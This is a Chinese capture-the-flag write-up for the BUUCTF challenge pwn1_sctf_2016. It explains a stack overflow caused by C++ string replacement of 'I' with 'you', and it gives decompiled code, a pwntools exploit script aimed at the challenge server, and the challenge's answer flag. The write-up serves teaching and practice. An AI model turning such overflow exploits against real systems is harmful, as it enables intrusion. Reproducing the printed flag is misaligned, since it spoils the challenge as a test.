CTF-PWN-buuctf-pwn1_sctf_2016-CPP的字符串替换

CTF-PWN

来源:https://buuoj.cn/challenges

内容

附件:https://pan.baidu.com/s/1bSrSQZYWkBIWCXP5Lsq7sg?pwd=mpgo 提取码:mpgo

答案:flag{714a8f91-7e24-440c-8cc6-1f2d26adbcec}

总体思路

发现get_flag的位置

发现输入会被替换,构造exp

详细步骤

  • 查看文件信息

    • image-20220414153508156
  • 查看题目发现是将用户输入的I替换为you,虽然输入的时候只允许输入32位,但是因为替换会导致1位变3位,从而可以造成溢出

    • int vuln()
      {
        const char *v0; // eax
        char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
        char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
        char v4[7]; // [esp+40h] [ebp-18h] BYREF
        char v5; // [esp+47h] [ebp-11h] BYREF
        char v6[7]; // [esp+48h] [ebp-10h] BYREF
        char v7[5]; // [esp+4Fh] [ebp-9h] BYREF
      
        printf("Tell me something about yourself: ");
        fgets(s, 32, edata);
        std::string::operator=(&input, s);
        std::allocator<char>::allocator(&v5);
        std::string::string(v4, "you", &v5);
        std::allocator<char>::allocator(v7);
        std::string::string(v6, "I", v7);
        replace((std::string *)v3);
        std::string::operator=(&input, v3, v6, v4);
        std::string::~string(v3);
        std::string::~string(v6);
        std::allocator<char>::~allocator(v7);
        std::string::~string(v4);
        std::allocator<char>::~allocator(&v5);
        v0 = (const char *)std::string::c_str((std::string *)&input);
        strcpy(s, v0);
        return printf("So, %s\n", s);
      }
      
    • operator=是等号操作符的重载符,可以理解为:

      std::string::operator=(&input, s); // &input = s;
      std::string::operator=(&input, v3, v6, v4); // &input = v3(v6,v4);
      
  • 看到从sinput)到返回地址的栈长度是60+4

    • image-20220414152807388
  • 通过pwntool的e.symbols['get_flag']获取函数的地址

  • 故exp为

    • import struct
      import sys
      import pwn
      import os
      enable_use_randoms = True
      
      
      def use_randoms(length: int, char: chr = None):
          if not enable_use_randoms or char:
              if not char:
                  char = 'a'
              return char * length
          return pwn.randoms(length, pwn.string.ascii_letters)
      
      
      def start_process(target: str):
          os.system(f'chmod 777 {target}')
          p = pwn.process(target)
          return p
      
      
      target: str = './target'
      
      e = pwn.ELF(target)
      get_flag = e.symbols['get_flag']
      addr_system = get_flag
      # pwn.context.terminal = ['term','splitw','-b']
      # p = start_process(target)
      p = pwn.remote('node4.buuoj.cn', 29641)
      
      
      padding_rbp = use_randoms(44)
      junk_r = use_randoms(0)
      
      v_addr_system = pwn.p64(addr_system)
      padding_char_replace = use_randoms(20, 'I')  # 将会被程序替换为3个字符
      padding_char_left = use_randoms(4, 'a')
      padding_rbp = padding_char_replace + padding_char_left
      
      payload = (padding_rbp+junk_r).encode('ascii') + v_addr_system
      
      print(payload)
      # print(p.recvuntil('>'))
      p.sendline(payload)
      # p.sendline('ls')
      p.interactive()
      
      

参考文档

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值